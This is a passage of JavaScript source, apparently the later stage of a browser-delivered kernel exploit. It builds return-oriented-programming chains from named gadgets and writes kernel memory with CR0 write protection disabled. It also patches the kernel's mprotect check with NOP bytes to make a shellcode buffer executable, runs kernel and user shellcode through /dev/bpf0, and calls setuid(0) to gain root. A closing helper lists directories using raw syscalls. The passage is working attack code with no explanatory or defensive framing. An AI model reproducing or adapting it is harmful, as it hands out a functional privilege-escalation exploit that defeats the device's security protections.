                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(addr); 
                              kchain.push(window.gadgets["pop rax"]); 
                              kchain.push(val); 
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              kchain.push(getset_cr0);
                              });
    }
    function kernel_fcall(addr, arg0, arg1) {
        return kernel_rop_run(function(kchain)
                              {
                              if(arg0)
                              {
                                    kchain.push(window.gadgets["pop rdi"]);
                                    kchain.push(arg0);
                              }
                              if(arg1)
                              {
                                    kchain.push(window.gadgets["pop rsi"]);
                                    kchain.push(arg1);
                              }
                              kchain.push(addr);
                              
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    
    var mprotect_patchloc = kern_base.add32(0x396a58);
    var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
    var mprotect_realbytes = mprotect_patchbytes;
    
    log("patchbytes: " + mprotect_patchbytes);
    mprotect_patchbytes.low = 0x90909090;
    mprotect_patchbytes.hi &= 0xffff0000;
    mprotect_patchbytes.hi |= 0x00009090;
    
    
    var shellsize = window.shellcode.byteLength;
    shellsize += 0x4000;
    shellsize &= 0xffffc000;
    
    var shellscratch_to = malloc32((0x10000 + shellsize)/4);
    
    var origin_to = shellscratch_to.low;
    shellscratch_to.low &= 0xffffc000;
    shellscratch_to.low += 0x8000;
    var offset = (shellscratch_to.low - origin_to) / 4;
    
    for (var i=0; i < window.shellcode.length; i++)
    {
        shellscratch_to.backing[i+offset] = window.shellcode[i];
    }
    
    
    kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
    var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
    kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
    if (mapz.low != 0) throw "mprot fail!";

    faultme = shellscratch_to.add32(0x0);

    for (var i=0; i < window.shellcode.length; i+= 0x1000)
    {
        var bck = p.read8(faultme);
        p.write8(faultme, 0xc3)
        p.fcall(faultme); // test faulting
        p.write8(faultme, bck)
    }
    p.syscall("mlock", shellscratch_to, shellsize);
    var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));

    var zarguments = malloc32(0x1000);
    p.write8(zarguments, kern_base);
    p.write8(zarguments.add32(8), fd_kcall);
    p.write8(zarguments.add32(16), interrupt1);
    p.write8(zarguments.add32(24), interrupt2);
    p.write8(zarguments.add32(32), window.syscalls[431]);
    p.write8(zarguments.add32(40), window.syscalls[591]);
    p.write8(zarguments.add32(48), window.syscalls[594]);
    p.write8(zarguments.add32(56), pyld_buf); // pyld
    p.write8(zarguments.add32(64), window.pyldpoint);
    p.write8(zarguments.add32(72), window.pyld.byteLength);

    var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

    log(p.read8(shellscratch_to.add32(window.entrypoint)));
    log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
    p.syscall("setuid", 0);
    log("uid: " + p.syscall("getuid"));
    alert("enter user");
    log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));

    var lsscrtch32 = new Uint32Array(0x400);
    var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
    window.ls = function(path)
    {
        var sep = "/"
        if (path[path.length-1]=="/") sep = "";
        
        var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
        if (fd == (-1 >>> 0))
        {
            print("open("+path+"): -1");
            return;
        }
        
        alert("getdenv");
        
        print("Directory listing for " +path+":");
        var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
        if (total == (-1 >>> 0))
        {
            print("getdents("+path+"): -1");
            return;
        }
        
        alert("got denv");
        
        var offset = 0;
        while (offset < total)
        {
            var cur = lsscrtch.add32(offset);
            var reclen = p.read4(cur.add32(4)) & 0xFFFF;
            var filepath = path + sep + p.readstr(cur.add32(8));
            print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
            offset += reclen;
            if(!reclen) break;
        }
        p.syscall("close", fd);
    }
    print("<a href=javascript:window.ls('/');>ls /</a>");

}